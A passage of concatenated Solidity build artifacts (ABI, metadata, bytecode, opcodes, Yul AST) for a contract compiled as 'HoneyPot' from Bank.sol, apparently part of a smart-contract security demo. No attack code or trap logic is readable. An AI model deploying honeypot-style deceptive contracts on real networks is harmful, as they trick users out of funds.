83:99;;;:::o;5588:169::-;5672:11;5706:6;5701:3;5694:19;5746:4;5741:3;5737:14;5722:29;;5588:169;;;;:::o;5763:307::-;5831:1;5841:113;5855:6;5852:1;5849:13;5841:113;;;5940:1;5935:3;5931:11;5925:18;5921:1;5916:3;5912:11;5905:39;5877:2;5874:1;5870:10;5865:15;;5841:113;;;5972:6;5969:1;5966:13;5963:101;;;6052:1;6043:6;6038:3;6034:16;6027:27;5963:101;5812:258;5763:307;;;:::o;6076:364::-;6164:3;6192:39;6225:5;6192:39;:::i;:::-;6247:71;6311:6;6306:3;6247:71;:::i;:::-;6240:78;;6327:52;6372:6;6367:3;6360:4;6353:5;6349:16;6327:52;:::i;:::-;6404:29;6426:6;6404:29;:::i;:::-;6399:3;6395:39;6388:46;;6168:272;6076:364;;;;:::o;6446:313::-;6559:4;6597:2;6586:9;6582:18;6574:26;;6646:9;6640:4;6636:20;6632:1;6621:9;6617:17;6610:47;6674:78;6747:4;6738:6;6674:78;:::i;:::-;6666:86;;6446:313;;;;:::o;6765:161::-;6905:13;6901:1;6893:6;6889:14;6882:37;6765:161;:::o;6932:366::-;7074:3;7095:67;7159:2;7154:3;7095:67;:::i;:::-;7088:74;;7171:93;7260:3;7171:93;:::i;:::-;7289:2;7284:3;7280:12;7273:19;;6932:366;;;:::o;7304:419::-;7470:4;7508:2;7497:9;7493:18;7485:26;;7557:9;7551:4;7547:20;7543:1;7532:9;7528:17;7521:47;7585:131;7711:4;7585:131;:::i;:::-;7577:139;;7304:419;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "293400",
"executionCost": "331",
"totalCost": "293731"
},
"external": {
"equal(string,string)": "infinite",
"log(address,uint256,string)": "infinite"
}
},
"methodIdentifiers": {
"equal(string,string)": "46bdca9a",
"log(address,uint256,string)": "a1f2e8aa"
}
},
"abi": [
{
"inputs": [
{
"internalType": "string",
"name": "_a",
"type": "string"
},
{
"internalType": "string",
"name": "_b",
"type": "string"
}
],
"name": "equal",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_caller",
"type": "address"
},
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
},
{
"internalType": "string",
"name": "_action",
"type": "string"
}
],
"name": "log",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "string",
"name": "_a",
"type": "string"
},
{
"internalType": "string",
"name": "_b",
"type": "string"
}
],
"name": "equal",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_caller",
"type": "address"
},
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
},
{
"internalType": "string",
"name": "_action",
"type": "string"
}
],
"name": "log",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Bank.sol": "HoneyPot"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Bank.sol": {
"keccak256": "0xca6c3e30fdf391d2eb8f6310769a0954ad2bb0e230701c7bf99a2437ee5370fa",
"license": "MIT",
"urls": [
"bzz-raw://4a457b5ddbed5228b66ba1de93649322c5f0d1fa46bc093a276a8401636be8f1",
"dweb:/ipfs/QmXR2poWzXwQrqCuvz6HkA93fNy75XxJHPXfL9xWzgtgEK"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610403806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063a1f2e8aa14610030575b600080fd5b61004a6004803603810190610045919061027a565b61004c565b005b7f4e3358e5bdb38f499a83fbcd33d16343569f3b6fe53021022dede6364017b4a883838360405161007f9392919061038f565b60405180910390a1505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100cb826100a0565b9050919050565b6100db816100c0565b81146100e657600080fd5b50565b6000813590506100f8816100d2565b92915050565b6000819050919050565b610111816100fe565b811461011c57600080fd5b50565b60008135905061012e81610108565b92915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6101878261013e565b810181811067ffffffffffffffff821117156101a6576101a561014f565b5b80604052505050565b60006101b961008c565b90506101c5828261017e565b919050565b600067ffffffffffffffff8211156101e5576101e461014f565b5b6101ee8261013e565b9050602081019050919050565b82818337600083830152505050565b600061021d610218846101ca565b6101af565b90508281526020810184848401111561023957610238610139565b5b6102448482856101fb565b509392505050565b600082601f83011261026157610260610134565b5b813561027184826020860161020a565b91505092915050565b60008060006060848603121561029357610292610096565b5b60006102a1868287016100e9565b93505060206102b28682870161011f565b925050604084013567ffffffffffffffff8111156102d3576102d261009b565b5b6102df8682870161024c565b9150509250925092565b6102f2816100c0565b82525050565b610301816100fe565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610341578082015181840152602081019050610326565b83811115610350576000848401525b50505050565b600061036182610307565b61036b8185610312565b935061037b818560208601610323565b6103848161013e565b840191505092915050565b60006060820190506103a460008301866102e9565b6103b160208301856102f8565b81810360408301526103c38184610356565b905094935050505056fea2646970667358221220158b8775f08c445103cefb1e553d025a58d31fc663812c5769ec3716bdce7f6364736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x403 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0xA1F2E8AA EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4A PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x45 SWAP2 SWAP1 PUSH2 0x27A JUMP JUMPDEST PUSH2 0x4C JUMP JUMPDEST STOP JUMPDEST PUSH32 0x4E3358E5BDB38F499A83FBCD33D16343569F3B6FE53021022DEDE6364017B4A8 DUP4 DUP4 DUP4 PUSH1 0x40 MLOAD PUSH2 0x7F SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x38F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 LOG1 POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xCB DUP3 PUSH2 0xA0 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xDB DUP2 PUSH2 0xC0 JUMP JUMPDEST DUP2 EQ PUSH2 0xE6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0xF8 DUP2 PUSH2 0xD2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x111 DUP2 PUSH2 0xFE JUMP JUMPDEST DUP2 EQ PUSH2 0x11C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x12E DUP2 PUSH2 0x108 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH2 0x187 DUP3 PUSH2 0x13E JUMP JUMPDEST DUP2 ADD DUP2 DUP2 LT PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT OR ISZERO PUSH2 0x1A6 JUMPI PUSH2 0x1A5 PUSH2 0x14F JUMP JUMPDEST JUMPDEST DUP1 PUSH1 0x40 MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1B9 PUSH2 0x8C JUMP JUMPDEST SWAP1 POP PUSH2 0x1C5 DUP3 DUP3 PUSH2 0x17E JUMP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x1E5 JUMPI PUSH2 0x1E4 PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH2 0x1EE DUP3 PUSH2 0x13E JUMP JUMPDEST SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY PUSH1 0x0 DUP4 DUP4 ADD MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x21D PUSH2 0x218 DUP5 PUSH2 0x1CA JUMP JUMPDEST PUSH2 0x1AF JUMP JUMPDEST SWAP1 POP DUP3 DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP5 DUP5 DUP5 ADD GT ISZERO PUSH2 0x239 JUMPI PUSH2 0x238 PUSH2 0x139 JUMP JUMPDEST JUMPDEST PUSH2 0x244 DUP5 DUP3 DUP6 PUSH2 0x1FB JUMP JUMPDEST POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x261 JUMPI PUSH2 0x260 PUSH2 0x134 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0x271 DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x20A JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 PUSH1 0x60 DUP5 DUP7 SUB SLT ISZERO PUSH2 0x293 JUMPI PUSH2 0x292 PUSH2 0x96 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x2A1 DUP7 DUP3 DUP8 ADD PUSH2 0xE9 JUMP JUMPDEST SWAP4 POP POP PUSH1 0x20 PUSH2 0x2B2 DUP7 DUP3 DUP8 ADD PUSH2 0x11F JUMP JUMPDEST SWAP3 POP POP PUSH1 0x40 DUP5 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2D3 JUMPI PUSH2 0x2D2 PUSH2 0x9B JUMP JUMPDEST JUMPDEST PUSH2 0x2DF DUP7 DUP3 DUP8 ADD PUSH2 0x24C JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 POP SWAP3 JUMP JUMPDEST PUSH2 0x2F2 DUP2 PUSH2 0xC0 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x301 DUP2 PUSH2 0xFE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x341 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x326 JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x350 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x361 DUP3 PUSH2 0x307 JUMP JUMPDEST PUSH2 0x36B DUP2 DUP6 PUSH2 0x312 JUMP JUMPDEST SWAP4 POP PUSH2 0x37B DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x323 JUMP JUMPDEST PUSH2 0x384 DUP2 PUSH2 0x13E JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x3A4 PUSH1 0x0 DUP4 ADD DUP7 PUSH2 0x2E9 JUMP JUMPDEST PUSH2 0x3B1 PUSH1 0x20 DUP4 ADD DUP6 PUSH2 0x2F8 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x3C3 DUP2 DUP5 PUSH2 0x356 JUMP JUMPDEST SWAP1 POP SWAP5 SWAP4 POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ISZERO DUP12 DUP8 PUSH22 0xF08C445103CEFB1E553D025A58D31FC663812C5769EC CALLDATACOPY AND 0xBD 0xCE PUSH32 0x6364736F6C634300080C00330000000000000000000000000000000000000000 ",
"sourceMap": "690:240:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@log_115": {
"entryPoint": 76,
"id": 115,
"parameterSlots": 3,
"returnSlots": 0
},
"abi_decode_available_length_t_string_memory_ptr": {
"entryPoint": 522,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_decode_t_address": {
"entryPoint": 233,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_string_memory_ptr": {
"entryPoint": 588,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 287,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_addresst_uint256t_string_memory_ptr": {
"entryPoint": 634,
"id": null,
"parameterSlots": 2,
"returnSlots": 3
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 745,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack": {
"entryPoint": 854,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 760,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_address_t_uint256_t_string_memory_ptr__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 911,
"id": null,
"parameterSlots": 4,
"returnSlots": 1
},
"allocate_memory": {
"entryPoint": 431,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": 140,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_allocation_size_t_string_memory_ptr": {
"entryPoint": 458,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_length_t_string_memory_ptr": {
"entryPoint": 775,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 786,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 192,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 160,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 254,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"copy_calldata_to_memory": {
"entryPoint": 507,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"copy_memory_to_memory": {
"entryPoint": 803,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"finalize_allocation": {
"entryPoint": 382,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"panic_error_0x41": {
"entryPoint": 335,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d": {
"entryPoint": 308,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae": {
"entryPoint": 313,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": 155,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 150,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"round_up_to_mul_of_32": {
"entryPoint": 318,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"validator_revert_t_address": {
"entryPoint": 210,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 264,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:5963:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "611:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "668:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "677:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "680:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "670:6:1"
},
"nodeType": "YulFunctionCall",
"src": "670:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "670:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "634:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "659:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "641:17:1"
},
"nodeType": "YulFunctionCall",
"src": "641:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "631:2:1"
},
"nodeType": "YulFunctionCall",
"src": "631:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "624:6:1"
},
"nodeType": "YulFunctionCall",
"src": "624:43:1"
},
"nodeType": "YulIf",
"src": "621:63:1"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "604:5:1",
"type": ""
}
],
"src": "568:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "748:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "758:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "780:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "767:12:1"
},
"nodeType": "YulFunctionCall",
"src": "767:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "758:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "823:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "796:26:1"
},
"nodeType": "YulFunctionCall",
"src": "796:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "796:33:1"
}
]
},
"name": "abi_decode_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "726:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "734:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "742:5:1",
"type": ""
}
],
"src": "696:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "886:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "896:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "907:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "896:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "868:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "878:7:1",
"type": ""
}
],
"src": "841:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "967:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1024:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1033:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1036:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1026:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1026:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1026:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "990:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1015:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "997:17:1"
},
"nodeType": "YulFunctionCall",
"src": "997:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "987:2:1"
},
"nodeType": "YulFunctionCall",
"src": "987:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "980:6:1"
},
"nodeType": "YulFunctionCall",
"src": "980:43:1"
},
"nodeType": "YulIf",
"src": "977:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "960:5:1",
"type": ""
}
],
"src": "924:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1104:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1114:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1136:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "1123:12:1"
},
"nodeType": "YulFunctionCall",
"src": "1123:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1114:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1179:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "1152:26:1"
},
"nodeType": "YulFunctionCall",
"src": "1152:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "1152:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1082:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1090:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1098:5:1",
"type": ""
}
],
"src": "1052:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1286:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1303:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1306:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1296:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1296:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1296:12:1"
}
]
},
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nodeType": "YulFunctionDefinition",
"src": "1197:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1409:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1426:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
